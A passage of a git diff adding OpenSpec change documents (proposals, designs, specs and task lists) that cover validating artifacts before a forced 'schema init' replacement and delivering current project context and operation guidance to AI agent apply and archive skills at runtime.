valid forced initialization still replaces the destination. +- **Risk: Commander tests can leak `process.exitCode` or the working directory into neighboring tests.** Mitigation: Save and restore process state in test setup and teardown. +- **Trade-off: A write failure after validation can still leave a partial replacement.** Mitigation: Treat full transactional replacement as a separate hardening effort; this change guarantees safety for input and selection failures only. diff --git a/openspec/changes/archive/2026-07-28-fix-schema-init-force-validation-order/proposal.md b/openspec/changes/archive/2026-07-28-fix-schema-init-force-validation-order/proposal.md new file mode 100644 index 0000000000..81645c6fee --- /dev/null +++ b/openspec/changes/archive/2026-07-28-fix-schema-init-force-validation-order/proposal.md @@ -0,0 +1,28 @@ +## Why + +`openspec schema init --force` removes an existing project-local schema before validating the requested artifact list. A command that ultimately fails for an unknown artifact can therefore destroy the schema it was supposed to replace, turning a recoverable input error into data loss. + +## What Changes + +- Complete schema-init input collection and artifact validation before replacing an existing schema. +- Preserve the existing schema and its contents when validation fails, including when `--force` is present. +- Keep successful `--force` replacement behavior unchanged once all inputs are valid. +- Add command-level regression coverage for both failed preservation and successful replacement. +- Keep the change narrowly scoped to `schema init` artifact validation and forced replacement; no other CLI behavior changes. + +## Capabilities + +### New Capabilities + +- None. + +### Modified Capabilities + +- `schema-init-command`: Require failed schema-init validation to leave an existing schema unchanged before any forced replacement begins. + +## Impact + +- **CLI behavior**: Failed `schema init --force` validation no longer deletes an existing project-local schema. +- **Code**: The `schema init` action in `src/commands/schema.ts` will separate non-destructive preparation from the destructive replacement step. +- **Tests**: `test/commands/schema.test.ts` will exercise the registered command instead of simulating schema creation for the affected cases. +- **Dependencies and APIs**: No new dependencies or public API changes. diff --git a/openspec/changes/archive/2026-07-28-fix-schema-init-force-validation-order/specs/schema-init-command/spec.md b/openspec/changes/archive/2026-07-28-fix-schema-init-force-validation-order/specs/schema-init-command/spec.md new file mode 100644 index 0000000000..819ed0785c --- /dev/null +++ b/openspec/changes/archive/2026-07-28-fix-schema-init-force-validation-order/specs/schema-init-command/spec.md @@ -0,0 +1,21 @@ +## ADDED Requirements + +### Requirement: Schema init validates artifacts before forced replacement +The CLI SHALL validate all requested artifact IDs before replacing an existing project-local schema. If artifact validation fails, the CLI SHALL leave the existing schema directory and all of its contents unchanged on every supported platform. + +#### Scenario: Unknown artifact preserves existing schema +- **GIVEN** `openspec/schemas/tdd-driven/` already exists with user-authored files +- **WHEN** the user runs `schema init tdd-driven` with `--force` and an artifact list containing the unknown ID `task` +- **THEN** the command exits with a non-zero status and reports the unknown artifact +- **AND** the existing `tdd-driven` schema directory and its contents remain unchanged + +#### Scenario: Unknown artifact preserves a schema at a Windows project path +- **GIVEN** an existing project-local schema is resolved from a Windows filesystem path +- **WHEN** forced schema initialization fails artifact validation +- **THEN** the resolved schema directory and its contents remain unchanged + +#### Scenario: Valid artifacts allow forced replacement +- **GIVEN** a project-local schema already exists +- **WHEN** the user runs `schema init` with `--force` and only valid artifact IDs +- **THEN** the command replaces the existing schema with the newly generated schema +- **AND** reports successful creation diff --git a/openspec/changes/archive/2026-07-28-fix-schema-init-force-validation-order/tasks.md b/openspec/changes/archive/2026-07-28-fix-schema-init-force-validation-order/tasks.md new file mode 100644 index 0000000000..6546729c5c --- /dev/null +++ b/openspec/changes/archive/2026-07-28-fix-schema-init-force-validation-order/tasks.md @@ -0,0 +1,17 @@ +## 1. Command-Level Regression Coverage + +- [x] 1.1 Add a test helper that registers the schema command on a fresh Commander program and restores `cwd`, `process.exitCode`, environment variables, and console spies after each test. +- [x] 1.2 Add a regression test that creates an existing schema with a sentinel file, runs forced initialization with an unknown artifact ID, and verifies the non-zero JSON error plus byte-for-byte preservation of the existing schema. +- [x] 1.3 Add a positive regression test that runs forced initialization with valid artifact IDs and verifies the old sentinel is removed and the expected schema and templates are generated. + +## 2. Validation-First Forced Replacement + +- [x] 2.1 Reorganize the `schema init` action so it collects inputs, validates artifact IDs, and constructs the in-memory schema before deleting an existing destination. +- [x] 2.2 Keep the existing unknown-artifact output and exit status unchanged while ensuring every pre-mutation return path leaves the destination untouched. +- [x] 2.3 Confirm a valid `--force` invocation still replaces the existing schema and reports the same successful result. + +## 3. Cross-Platform Verification and Release Metadata + +- [x] 3.1 Use Node.js path helpers and temporary directories in the regression tests, and confirm the affected test runs in the existing Windows CI environment. +- [x] 3.2 Run `pnpm exec vitest run test/commands/schema.test.ts`, `pnpm run lint`, and `pnpm run build`. +- [x] 3.3 Add a patch changeset describing that failed forced schema initialization now preserves the existing schema. diff --git a/openspec/changes/extend-config-injection-to-apply-archive/.openspec.yaml b/openspec/changes/extend-config-injection-to-apply-archive/.openspec.yaml new file mode 100644 index 0000000000..7250f8fbf8 --- /dev/null +++ b/openspec/changes/extend-config-injection-to-apply-archive/.openspec.yaml @@ -0,0 +1,2 @@ +schema: spec-driven +created: 2026-07-22 diff --git a/openspec/changes/extend-config-injection-to-apply-archive/design.md b/openspec/changes/extend-config-injection-to-apply-archive/design.md new file mode 100644 index 0000000000..ddf5bc4d33 --- /dev/null +++ b/openspec/changes/extend-config-injection-to-apply-archive/design.md @@ -0,0 +1,183 @@ +## Context + +OpenSpec project config currently provides a top-level `context` value and an artifact-keyed `rules` map. Artifact instruction generation reads both values at runtime, but the apply and archive workflow surfaces do not expose equivalent current inputs. + +Apply already has a dynamic instruction command: `openspec instructions apply --change `. Archive skills are generated from static templates and currently have no dedicated runtime-input command. Adding operation-specific advice directly to generated templates would make it stale whenever project config changes. + +This change adds a small runtime contract for apply and archive without changing archive execution ownership. The existing single-change archive skill, bulk archive skill, spec sync behavior, and direct `openspec archive` command keep their current flows. + +## Goals / Non-Goals + +**Goals:** + +- Model optional apply and archive working advice as `operations..guidance`. +- Fetch current project context and matching operation guidance whenever apply or archive instructions are requested. +- Return context and operation guidance as separate structured fields. +- Make the single-change and bulk archive skills consume current inputs at execution time. +- Carry current `specs` artifact rules into archive-driven and standalone spec sync whenever concrete delta specs are merged into main specs. +- Preserve existing artifact rules, skill steps, user prompts, and CLI behavior. +- Keep config parsing resilient so malformed operation config does not invalidate unrelated fields. + +**Non-Goals:** + +- Change archive execution ownership, phases, safety guarantees, or filesystem behavior. +- Change `openspec archive`, its flags, filesystem behavior, or compatibility contract. +- Change semantic spec sync ownership, merge phases, or main-spec format. +- Add new enforceable archive checks or configurable operation checks. +- Make any natural-language instruction input a security or validation boundary. +- Change the structure or meaning of artifact `rules`. +- Generalize semantic spec sync to arbitrary artifact IDs or infer delta specs from non-`specs` artifacts. + +## Decisions + +### D1: Give operation guidance its own typed namespace + +Project config gains this optional shape: + +```yaml +context: | + TypeScript project using pnpm. + +rules: + specs: + - Preserve requirement IDs when meaning is unchanged. + +operations: + apply: + guidance: + - Keep test summaries concise. + archive: + guidance: + - Summarize the archive outcome before finishing. +``` + +The in-memory model uses explicit operation IDs: + +```ts +const OPERATION_IDS = ['apply', 'archive'] as const; +type OperationId = (typeof OPERATION_IDS)[number]; + +interface OperationConfig { + guidance?: string[]; +} +``` + +Parsing remains resilient and field-by-field. An invalid operation entry is omitted with a warning without discarding valid context, rules, references, store settings, or other operation entries. Unknown operation IDs and unknown fields receive actionable warnings. Empty guidance strings are removed while non-empty strings retain their original order, line breaks, and Markdown. + +Artifact `rules` remain unchanged and are not read as operation guidance. + +### D2: Load operation inputs through one shared helper + +Apply and archive instruction generation use a shared helper conceptually shaped as: + +```ts +loadOperationInputs(projectConfig, operationId): { + context?: string; + operationGuidance?: string[]; +} +``` + +The existing root-config loader calls `readProjectConfig()` once for each instruction command and passes that parsed `ProjectConfig` to the helper. The same config snapshot supplies references, context, and operation guidance, so malformed-field warnings are not duplicated and one command cannot mix values from two reads. There is no generated-skill or module-state cache, so the next command observes later config changes. + +Absent context and empty guidance are omitted rather than returned as empty values. + +### D3: Extend apply output without changing apply state behavior + +`generateApplyInstructions()` adds the shared operation inputs to its existing result: + +```ts +{ + context?: string; + operationGuidance?: string[]; +} +``` + +The existing apply state, task progress, missing-artifact checks, context files, references, and schema instruction remain unchanged. JSON serialization includes the new fields automatically. Text output renders project context as a required instruction-input section and operation guidance as a distinct advisory section after the built-in apply instruction content. + +The apply skill template keeps both fields structurally separate from CLI-returned state, progress, tasks, missing artifacts, context files, and built-in instruction. When context is present, the agent must read it and apply relevant project facts, conventions, and constraints as a required prompt-level input. When operation guidance is present, the agent must read and consider it as optional additive advice and follow entries that are applicable and compatible with the built-in workflow. + +This change does not modify CLI-controlled fields or their state transitions. The template tells the agent not to treat context or guidance as task completion, a replacement for the state-driven workflow, or permission to bypass a blocked state. It must report context conflicts with the built-in instruction, explicit user choices, or CLI-controlled values. If guidance is inapplicable or conflicts with those controlling inputs, the agent preserves the built-in flow and explains why the advice was not followed. It must not copy either field's contents into implementation files or planning artifacts. + +### D4: Add a dedicated archive runtime-input branch + +`openspec instructions archive --change --json` is handled as a workflow instruction branch alongside apply. It: + +- resolves the selected repo or store using the existing instruction-command options; +- requires and validates the change name so the invocation stays scoped to the intended planning root; +- reads the current config through the shared operation-input helper; +- returns `changeName`, optional `context`, optional `operationGuidance`, and the normal resolved-root envelope; +- does not return a static archive workflow template; +- does not inspect delta specs, update specs, move the change, or invoke `openspec archive`. + +Human-readable output shows project context as a required instruction-input section and operation guidance as a separate advisory section. If neither value is configured, the command still succeeds with the change and root metadata so skill behavior is uniform. + +Keeping this as an instruction surface makes the runtime contract available immediately while leaving archive execution redesign independent. + +### D5: Archive and sync skills consume inputs without changing their flow + +After resolving the target change and selected root, the single-change archive skill calls: + +```bash +openspec instructions archive --change "" --json +``` + +It must read returned context and apply relevant project facts, conventions, and constraints as a required prompt-level input. It reads and considers returned archive guidance as optional additive advice and follows applicable entries that are compatible with the built-in archive workflow. Explicit user choices, target paths, CLI checks, and command flags are not replaced or inferred from either field. Context conflicts are reported; conflicting or inapplicable guidance is not followed and the reason is explained. + +A successful response may omit both optional fields, which means no archive operation inputs are configured. If the command exits non-zero or does not return valid archive-instruction JSON, the single-change skill reports the error and stops before inspecting or writing specs or moving the change. A failed lookup is never treated as an empty successful response. + +The bulk archive skill makes the same call once for the selected root, using one selected change to establish context, and applies the returned inputs across that batch. If this lookup exits non-zero or returns invalid archive-instruction JSON, the skill reports the error and stops the batch before inspecting or writing specs or moving any change. It does not change the existing bulk conflict analysis or archive orchestration. + +Semantic spec sync keeps its existing artifact contract. The concrete delta spec paths are exactly `artifactPaths.specs.existingOutputPaths` from the selected change's status output. If `artifactPaths.specs` is absent or its concrete output list is empty, that change has no delta specs for this workflow: archive continues without a spec-sync prompt, standalone sync reports that there is nothing to sync, and neither workflow infers delta specs from other artifacts. + +When concrete `specs` outputs exist and a write-producing sync will run: + +1. Use the same selected change and planning root that supplied the status result. +2. Call `openspec instructions specs --change "" --json` once immediately before the semantic merge. +3. Apply only its returned artifact rules to the main specs produced by that merge. +4. Keep those rules separate from archive operation guidance and unrelated workflow steps. + +A valid artifact-instruction response that omits `rules` means that no `specs` rules are configured and the existing semantic merge continues. A non-zero exit or a response that is not valid artifact-instruction JSON is a lookup failure, not an empty rule set. Single-change archive and standalone sync report that error and stop before modifying any main spec; archive also stops before moving the change. + +The single-change archive skill fetches this specs-instruction snapshot after sync has been selected and immediately before invoking inline semantic sync. The bulk archive skill resolves every required specs-instruction snapshot after its sync decisions but before the first main-spec write; if any lookup fails, it reports the affected change and stops the whole batch before writing any main spec or moving any change. Archive passes each successful specs-rule snapshot into the inline sync workflow, which reuses it without fetching the same instructions again. When the sync skill is invoked directly, with no archive-supplied snapshot, it fetches current `specs` instructions itself. + +For a mixed-schema batch, this decision is made independently for each change. A change whose resolved schema exposes concrete `artifactPaths.specs.existingOutputPaths` participates in spec sync and receives that change's current `specs` rules. A change whose schema has no `specs` artifact, such as a research/design/plan workflow, has no spec sync and continues through the existing archive path. + +Artifact rules are not returned from the archive operation-input surface, relabeled as archive guidance, or applied to unrelated archive steps. + +The archive, bulk archive, and sync templates retain the existing rule that runtime context, operation guidance, and rule text must not be copied verbatim into specs, change artifacts, summaries, or other files unless the user separately asks for that content. Artifact rules constrain the produced artifact without becoming artifact content. + +### D6: Require context consumption while keeping guidance advisory + +Current context is a required prompt-level input, not optional-to-ignore metadata. When present, the generated skill must tell the agent to read it and apply relevant project facts, conventions, and constraints. + +Operation guidance is optional additive advice. When present, the generated skill must tell the agent to read and consider it and to follow entries that are applicable and compatible with the built-in workflow. If guidance is inapplicable or conflicts with an explicit user choice, resolved path, CLI-controlled state, or command contract, the skill preserves the controlling value and explains why the advice was not followed. + +Both semantics remain behavioral contracts for the agent, not enforcement mechanisms. OpenSpec guarantees that it validates the config shape, keeps fields separate from CLI-controlled values, delivers current inputs through the documented instruction surfaces, and leaves existing CLI checks unchanged. Existing checks continue to run wherever the current CLI already owns them. Any invariant that must be non-bypassable belongs in a real CLI check and remains outside this change; stronger archive guarantees require a separate archive execution design. + +## Risks / Trade-offs + +- **Context conflicts with the built-in workflow** -> Require the skill to report the conflict, preserve explicit user choices and CLI-controlled state, validation, paths, and command contracts, and do not claim prompt-level enforcement. +- **Guidance is inapplicable or conflicts with the built-in workflow** -> Keep it advisory and separate, preserve controlling workflow inputs, and explain why the advice was not followed. +- **Generated skills become stale** -> Skills fetch current inputs on every invocation instead of embedding config content. +- **Repo/store roots diverge** -> Instruction commands reuse existing root selection and read one config snapshot from the resolved root. +- **Archive runtime input is mistaken for archive execution** -> Command naming, JSON fields, docs, and tests state that the instruction surface is read-only and performs no archive mutation. +- **Bulk archive spans an unexpected root** -> The skill resolves the batch root first and fetches inputs once for that root; cross-root batching remains outside the current behavior. +- **Artifact rules are mistaken for archive guidance** -> Fetch them only when writing their artifact, keep them out of `operationGuidance`, and test that they do not affect unrelated archive steps. +- **A custom schema has no `specs` artifact** -> Treat it as having no semantic spec-sync input; do not infer delta specs from unrelated artifacts. +- **Archive and inline sync fetch different rule snapshots** -> Archive fetches once and inline sync reuses the supplied specs-rule snapshot; only standalone sync performs its own lookup. +- **A failed instruction lookup is mistaken for absent optional input** -> Require a successful, valid JSON response before continuing; archive-input failures stop before spec inspection or change moves, and specs-instruction failures stop before main-spec writes or change moves. + +## Implementation Plan + +1. Add typed operation config parsing and tests. +2. Add the shared runtime-input loader using the root command's single parsed config snapshot. +3. Extend apply instruction JSON and text output. +4. Add archive instruction JSON and text output without changing archive execution. +5. Update single-change archive, bulk archive, and standalone sync templates to fetch current `specs` rules when concrete delta specs exist and reuse the same snapshot during inline sync. +6. Update generated config help, documentation, template parity fixtures, and end-to-end coverage. + +Rollback is a code revert. The config field is additive, and no archive filesystem format or durable project state changes in this change. + +## Open Questions + +None. diff --git a/openspec/changes/extend-config-injection-to-apply-archive/proposal.md b/openspec/changes/extend-config-injection-to-apply-archive/proposal.md new file mode 100644 index 0000000000..255bc36b01 --- /dev/null +++ b/openspec/changes/extend-config-injection-to-apply-archive/proposal.md @@ -0,0 +1,56 @@ +## Why + +Project configuration reaches agents while they create OpenSpec artifacts, but apply and archive workflows cannot fetch the same current project context or operation-specific working preferences when they run. Generated skills therefore lack a stable runtime input contract and can become disconnected from later configuration changes. + +OpenSpec needs a clear separation between project context, artifact requirements, and operation advice. Project `context` supplies facts, conventions, and constraints the agent must apply when relevant. Artifact `rules` continue to describe the artifacts an agent produces, while optional operation guidance provides additive advice about how an agent should conduct apply or archive work. Both apply and archive should fetch their current inputs from OpenSpec at execution time. + +## What Changes + +- Add optional `operations.apply.guidance` and `operations.archive.guidance` configuration for additive operation advice. A skill considers returned guidance and follows it when applicable and compatible with the built-in workflow. +- Keep `rules` artifact-specific and preserve all existing artifact-instruction behavior. +- Extend apply instruction output with separate optional fields for current project context and apply operation guidance. +- Update the apply skill template to consume those current runtime inputs while preserving its existing state-driven workflow. +- Add an archive runtime-input surface through `openspec instructions archive --change ` so archive skills can fetch current project context and archive operation guidance when they run. +- Treat a non-zero or invalid archive-input response as blocking: report the error and stop before inspecting or writing specs or moving the change. A successful response with omitted optional fields remains the valid no-input case. +- Update the single-change and bulk archive skill templates to consume current archive inputs without embedding configuration snapshots in generated skill text. +- Keep the existing spec-sync contract: delta specs come from `artifactPaths.specs.existingOutputPaths`; schemas without that artifact do not participate in spec sync. +- When archive-driven or standalone spec sync updates main specs, fetch current `specs` artifact instructions and apply their rules to the semantic merge. Archive passes its fetched specs-rule snapshot into the inline sync workflow; standalone sync fetches the same input itself. +- Treat a non-zero or invalid `specs` instruction response as blocking before any main-spec write or archive move. A successful response that omits `rules` continues with the existing semantic merge. +- Treat current context as a required prompt-level input: the agent must read it and apply relevant project facts, conventions, and constraints. +- Treat operation guidance as optional additive advice: the agent considers it and follows applicable entries, but guidance does not define or replace the built-in workflow. +- Keep current context and operation guidance structurally separate from explicit user choices and CLI-controlled behavior. Context conflicts must be reported; guidance that is inapplicable or conflicts with controlling workflow input is not followed and the reason is explained. Neither field is presented as an enforceable security or validation boundary. +- Validate the `operations` config field independently so one malformed operation entry does not discard otherwise valid project configuration. + +This change does not redesign archive execution or the semantic spec-merge algorithm. The existing archive skill orchestration and `openspec archive` command remain intact. + +## Capabilities + +### New Capabilities + +- `operation-guidance`: define the `operations..guidance` config model, resilient validation, advisory semantics, and runtime delivery for apply and archive +- `cli-archive-instructions`: provide current archive operation inputs in structured JSON and readable text form +- `opsx-apply-skill`: consume current apply context and guidance without changing the built-in apply workflow +- `opsx-bulk-archive-skill`: fetch current archive inputs for a selected batch and apply relevant artifact rules during each spec sync + +### Modified Capabilities + +- `config-loading`: parse operation guidance independently from existing project-config fields +- `context-injection`: expose the latest project context to apply and archive runtime surfaces in addition to artifact instructions +- `cli-artifact-workflow`: include current context and apply operation guidance in schema-aware apply instruction output +- `opsx-archive-skill`: fetch and apply current archive context and guidance, and carry artifact rules into archive-driven spec sync, while preserving the existing archive flow +- `specs-sync-skill`: apply current `specs` artifact rules during standalone sync, while reusing an archive-supplied specs-rule snapshot when invoked inline + +## Impact + +- Project config types, parsing, generated help text, and documentation gain an optional `operations` section. +- Apply JSON and text instruction output gain separate optional `context` and `operationGuidance` fields. +- The apply skill must consume current context as a required prompt-level input and consider current operation guidance as optional additive advice, while CLI-returned state, tasks, progress, and instructions remain structurally unchanged. +- `openspec instructions archive --change ` becomes a reserved workflow instruction surface and returns current archive inputs without performing archive work. +- Archive skill templates call the runtime surface at execution time, must apply relevant returned context, consider and follow applicable operation guidance, and do not copy their text into output files. +- Archive and bulk archive stop before spec inspection, spec writes, or change moves when the required archive-input lookup fails or returns invalid JSON. +- Archive-driven and standalone spec sync continue to use `artifactPaths.specs.existingOutputPaths`, fetch current `specs` instructions when delta specs exist, and follow those rules without exposing them as operation guidance. +- Archive, bulk archive, and standalone sync stop before writing main specs when a required `specs` instruction lookup fails or returns invalid JSON; only a valid response with no `rules` means that no artifact rules are configured. +- Schemas without a `specs` artifact, or changes with no concrete `specs` outputs, continue without spec sync and do not infer delta specs from other artifacts. +- Inline sync reuses the specs-rule snapshot supplied by archive, avoiding a second fetch with potentially different config or duplicate warnings. +- Existing artifact-rule configuration and instruction output, archive filesystem behavior, direct archive CLI options, semantic merge ownership, and bulk archive orchestration remain unchanged. +- Tests cover resilient config parsing, runtime freshness, single-read config handling, field separation, required context consumption, advisory operation guidance, conflict reporting, selected-root behavior, output rendering, archive and standalone-sync `specs` rule consumption, failed and invalid instruction responses, no-write/no-move failure behavior, schemas with and without `specs`, mixed-schema batches, and generated-template parity. diff --git a/openspec/changes/extend-config-injection-to-apply-archive/specs/cli-archive-instructions/spec.md b/openspec/changes/extend-config-injection-to-apply-archive/specs/cli-archive-instructions/spec.md new file mode 100644 index 0000000000..5682dccdce --- /dev/null +++ b/openspec/changes/extend-config-injection-to-apply-archive/specs/cli-archive-instructions/spec.md @@ -0,0 +1,60 @@ +## ADDED Requirements + +### Requirement: Provide current archive operation inputs + +The CLI SHALL provide `openspec instructions archive --change ` as a read-only workflow instruction surface for current archive operation inputs. + +#### Scenario: Archive JSON contains context and guidance + +- **WHEN** a user runs `openspec instructions archive --change --json` +- **AND** config contains project context and `operations.archive.guidance` +- **THEN** the JSON contains `changeName`, `context`, and `operationGuidance` as separate fields +- **AND** includes the normal resolved-root envelope + +#### Scenario: Archive text contains context and guidance + +- **WHEN** a user runs `openspec instructions archive --change ` with configured inputs +- **THEN** text output labels project context as a required instruction input +- **AND** labels operation guidance as separate advisory input + +#### Scenario: Archive inputs are absent + +- **WHEN** config has no non-empty context or archive guidance +- **THEN** the command succeeds with change and root metadata +- **AND** omits both optional fields + +#### Scenario: Archive reads current config + +- **WHEN** config changes between two archive instruction calls +- **THEN** the second output reflects the current context and archive guidance + +### Requirement: Scope archive inputs to a valid selected root + +The archive instruction surface SHALL require a valid change and use existing repo/store root selection before reading config. + +#### Scenario: Change is missing + +- **WHEN** the archive instruction command is called without `--change` +- **THEN** it returns the existing actionable missing-change error + +#### Scenario: Change does not exist in the selected root + +- **WHEN** the supplied change is absent from the resolved repo or store +- **THEN** the command fails before returning operation inputs + +#### Scenario: Store is selected + +- **WHEN** the command is run with a selected store +- **THEN** change validation and config loading both use that store's planning root + +### Requirement: Keep archive instructions read-only + +The archive instruction surface SHALL return runtime instruction inputs without performing archive execution work. + +#### Scenario: Archive instructions are requested + +- **WHEN** the command succeeds +- **THEN** it does not inspect or rewrite delta specs +- **AND** does not update main specs +- **AND** does not move or otherwise modify the change +- **AND** does not include the static archive workflow template in JSON output diff --git a/openspec/changes/extend-config-injection-to-apply-archive/specs/cli-artifact-workflow/spec.md b/openspec/changes/extend-config-injection-to-apply-archive/specs/cli-artifact-workflow/spec.md new file mode 100644 index 0000000000..9093ebfbe5 --- /dev/null +++ b/openspec/changes/extend-config-injection-to-apply-archive/specs/cli-artifact-workflow/spec.md @@ -0,0 +1,35 @@ +## ADDED Requirements + +### Requirement: Apply instructions include current operation inputs + +The system SHALL include current project context and apply operation guidance as separate optional fields in schema-aware apply instruction output without changing existing apply state behavior. + +#### Scenario: Apply JSON contains context and guidance + +- **WHEN** a user runs `openspec instructions apply --change --json` +- **AND** config contains project context and `operations.apply.guidance` +- **THEN** the JSON contains separate `context` and `operationGuidance` fields +- **AND** preserves existing apply state, task, progress, context-file, reference, and root fields + +#### Scenario: Apply text contains context and guidance + +- **WHEN** a user runs `openspec instructions apply --change ` with configured context and apply guidance +- **THEN** text output labels project context as a required instruction input +- **AND** labels operation guidance as separate advisory input +- **AND** preserves the built-in apply instruction content + +#### Scenario: Apply has artifact rules only + +- **WHEN** config contains artifact rules but no apply operation guidance +- **THEN** apply instruction output does not expose artifact rules as operation guidance + +#### Scenario: Apply reads current config + +- **WHEN** config changes between two apply instruction calls +- **THEN** the second output reflects the current context and apply guidance + +#### Scenario: Apply operation inputs are absent + +- **WHEN** config has no non-empty context or apply guidance +- **THEN** apply output omits both optional fields +- **AND** otherwise matches existing apply behavior diff --git a/openspec/changes/extend-config-injection-to-apply-archive/specs/config-loading/spec.md b/openspec/changes/extend-config-injection-to-apply-archive/specs/config-loading/spec.md new file mode 100644 index 0000000000..f9c32fb0c5 --- /dev/null +++ b/openspec/changes/extend-config-injection-to-apply-archive/specs/config-loading/spec.md @@ -0,0 +1,40 @@ +## ADDED Requirements + +### Requirement: Load operation guidance independently + +The system SHALL parse the optional `operations` project-config field independently from `schema`, `context`, `rules`, `references`, and `store` so an invalid operation entry does not discard other valid configuration. + +#### Scenario: Valid operation guidance + +- **WHEN** config contains `operations.apply.guidance` and `operations.archive.guidance` as arrays of strings +- **THEN** the returned project config includes both operation entries + +#### Scenario: One operation is malformed + +- **WHEN** apply guidance is a valid string array and archive guidance is malformed +- **THEN** the returned project config includes apply guidance +- **AND** omits archive guidance with an actionable warning + +#### Scenario: Operations field is not an object + +- **WHEN** config contains a non-object `operations` value +- **THEN** the system warns about the invalid field +- **AND** continues with all independently valid config fields + +#### Scenario: Unknown operation ID + +- **WHEN** config contains an unsupported operation ID +- **THEN** the system warns with the supported operation IDs +- **AND** ignores only the unsupported operation entry + +#### Scenario: Unknown fields in an operation + +- **WHEN** a supported operation contains fields other than `guidance` +- **THEN** the system warns about those fields +- **AND** preserves valid guidance for that operation + +#### Scenario: Empty and formatted guidance + +- **WHEN** a guidance array contains empty strings and non-empty strings with line breaks or Markdown +- **THEN** the system removes the empty entries +- **AND** preserves the non-empty entries in their original order and form diff --git a/openspec/changes/extend-config-injection-to-apply-archive/specs/context-injection/spec.md b/openspec/changes/extend-config-injection-to-apply-archive/specs/context-injection/spec.md new file mode 100644 index 0000000000..4be0cb9f7d --- /dev/null +++ b/openspec/changes/extend-config-injection-to-apply-archive/specs/context-injection/spec.md @@ -0,0 +1,48 @@ +## ADDED Requirements + +### Requirement: Expose current context to operation instruction surfaces + +The system SHALL expose project context to apply and archive instruction output by reading the current config from the selected planning root at execution time. + +#### Scenario: Apply requests current context + +- **WHEN** a user requests apply instructions and config contains project context +- **THEN** apply output includes that context as a structured optional field + +#### Scenario: Archive requests current context + +- **WHEN** a user requests archive instructions and config contains project context +- **THEN** archive output includes that context as a structured optional field + +#### Scenario: Selected store supplies context + +- **WHEN** apply or archive instructions target a selected store +- **THEN** context is read from that store's resolved config rather than the current repository config + +#### Scenario: Context changes between operations + +- **WHEN** project context changes after one instruction call +- **THEN** the next apply or archive instruction call receives the updated context + +#### Scenario: Context is absent + +- **WHEN** project config has no non-empty context +- **THEN** apply and archive structured outputs omit the context field + +### Requirement: Consume operation context as required agent instruction + +The system SHALL identify returned operation context as a required agent instruction input with the same prompt-level consumption expectation as the built-in instruction. Context supplies applicable project facts, conventions, and constraints without becoming output content or replacing CLI-controlled workflow state. + +#### Scenario: Skill applies project context + +- **WHEN** an apply or archive skill receives project context +- **THEN** the skill tells the agent to read and consider the context +- **AND** apply its relevant project facts, conventions, and constraints while performing the operation +- **AND** the workflow does not automatically insert the context into an output file + +#### Scenario: Context conflicts with controlling workflow input + +- **WHEN** project context conflicts with a built-in workflow step, explicit user choice, resolved path, CLI-controlled state, or command contract +- **THEN** the skill reports the conflict +- **AND** does not use context to replace or bypass the controlling workflow input +- **AND** does not claim that prompt text can enforce agent compliance diff --git a/openspec/changes/extend-config-injection-to-apply-archive/specs/operation-guidance/spec.md b/openspec/changes/extend-config-injection-to-apply-archive/specs/operation-guidance/spec.md new file mode 100644 index 0000000000..9c0e21f2ee --- /dev/null +++ b/openspec/changes/extend-config-injection-to-apply-archive/specs/operation-guidance/spec.md @@ -0,0 +1,58 @@ +## ADDED Requirements + +### Requirement: Configure operation guidance + +The system SHALL allow projects to configure additive advice for supported operations under `operations..guidance` without treating that guidance as an artifact rule, the built-in workflow, or an enforceable check. + +#### Scenario: Configure apply and archive guidance + +- **WHEN** config contains guidance arrays under `operations.apply.guidance` and `operations.archive.guidance` +- **THEN** both operation configurations are available to their matching operation +- **AND** artifact rules remain unchanged + +#### Scenario: Operation has no guidance + +- **WHEN** a supported operation has no configured guidance or only empty guidance entries +- **THEN** the operation output omits `operationGuidance` + +### Requirement: Consume operation guidance as optional additive advice + +The system SHALL present returned operation guidance as optional additive advice rather than as the operation's built-in flow or an enforceable check. A skill that receives guidance SHALL tell the agent to read and consider every entry, follow entries that are applicable and compatible with the built-in workflow, and keep the field separate from built-in instructions, CLI-controlled state, and explicit user choices. + +#### Scenario: Guidance complements built-in flow + +- **WHEN** archive guidance asks for a concise completion summary +- **THEN** the archive skill tells the agent to follow that applicable guidance +- **AND** preserves its built-in steps and prompts + +#### Scenario: Guidance conflicts with built-in behavior + +- **WHEN** operation guidance conflicts with a built-in workflow step, explicit user choice, resolved path, or command contract +- **THEN** instruction output keeps the conflicting text in `operationGuidance` rather than merging it into built-in instruction, state, path, or command fields +- **AND** the generated skill tells the agent to explain why the advice was not followed +- **AND** does not use the conflicting entry to replace or bypass the controlling workflow input +- **AND** existing CLI validation, state calculation, resolved paths, and command contracts remain unchanged +- **AND** the system does not claim that prompt text can enforce agent compliance + +### Requirement: Load operation guidance at execution time + +The system SHALL read operation guidance from the current selected-root config whenever an apply or archive instruction surface is invoked. + +#### Scenario: Guidance changes after skill generation + +- **WHEN** a generated skill already exists and project operation guidance is later changed +- **THEN** the next matching operation receives the updated guidance without regenerating the skill + +#### Scenario: Selected store supplies guidance + +- **WHEN** operation instructions target a selected store +- **THEN** guidance is read from that store's config + +### Requirement: Preserve guidance content + +The system SHALL preserve non-empty guidance strings, including line breaks and Markdown, when returning them to an operation. + +#### Scenario: Multi-line Markdown guidance + +- **WHEN** configured operation guidance contains multiple lines and Markdown +- **THEN** structured operation output returns the text without rewriting its content diff --git a/openspec/changes/extend-config-injection-to-apply-archive/specs/opsx-apply-skill/spec.md b/openspec/changes/extend-config-injection-to-apply-archive/specs/opsx-apply-skill/spec.md new file mode 100644 index 0000000000..0514456346 --- /dev/null +++ b/openspec/changes/extend-config-injection-to-apply-archive/specs/opsx-apply-skill/spec.md @@ -0,0 +1,42 @@ +## ADDED Requirements + +### Requirement: Consume current apply operation inputs + +The `/opsx:apply` skill SHALL consume current project context and apply operation guidance returned by `openspec instructions apply --change "" --json` while preserving its existing state-driven workflow. + +#### Scenario: Apply context and guidance are configured + +- **WHEN** apply instruction output contains `context` and `operationGuidance` +- **THEN** the skill treats context as a required prompt-level instruction input +- **AND** tells the agent to read it and apply relevant project facts, conventions, and constraints +- **AND** treats operation guidance as optional additive advice +- **AND** tells the agent to read and consider it and follow entries that are applicable and compatible with the built-in workflow + +#### Scenario: Apply operation inputs are absent + +- **WHEN** apply instruction output omits context and operation guidance +- **THEN** the skill continues with its existing apply workflow + +#### Scenario: Runtime instructions conflict with apply state + +- **WHEN** context or operation guidance conflicts with CLI-returned state, missing artifacts, tasks, progress, context files, or built-in instruction +- **THEN** the generated skill keeps required project context and advisory operation guidance separate from the CLI-returned apply fields +- **AND** tells the agent to report context conflicts +- **AND** tells the agent to explain why conflicting or inapplicable operation guidance was not followed +- 